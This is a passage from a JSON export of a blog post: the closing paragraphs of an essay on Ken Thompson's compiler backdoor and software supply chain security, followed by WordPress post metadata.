    Modern Security<\/strong><\/a>. In many ways, computing security has regressed since the Air Force report on Multics was written in June 1974. It suggested requiring source code as a way to allow inspection of the system on delivery, and it raised this kind of backdoor as a potential barrier to that inspection. Half a century later, we all run binaries with no available source code at all. Even when source is available, as in open source operating systems like Linux, approximately no one checks that the distributed binaries match the source code. The programming environments for languages like Go, NPM, and Rust make it trivial to download and run source code published by strangers on the internet<\/a>, and again almost no one is checking the code, until there is a problem. No one needs Ken\u2019s backdoor: there are far easier ways to mount a supply chain attack.<\/p>\n\n\n\n
    On the other hand, given all our reckless behavior, there are far fewer problems than you would expect. Quite the opposite: we trust computers with nearly every aspect of our lives, and for the most part nothing bad happens. Something about our security posture must be better than it seems. Even so, it might be nicer to live in a world where the only possible attacks required the sophistication of approaches like Ken\u2019s (like in this excellent science fiction story<\/a>).<\/p>\n\n\n\n
    We still have work to do.<\/p>\n\n\n\n
    <\/p>\n","protected":false},"excerpt":{"rendered":"
    https:\/\/research.swtch.com\/nih Supply chain security is a hot topic today, but […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[34,5,33],"class_list":["post-208","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-compiler","tag-security","tag-supplychain"],"_links":{"self":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=208"}],"version-history":[{"count":2,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions"}],"predecessor-version":[{"id":210,"href":"https:\/\/haco.club\/index.php?rest_route=\/wp\/v2\/posts\/208\/revisions\/210"}],"wp:attachment":[{"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=208"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=208"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/haco.club\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=208"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}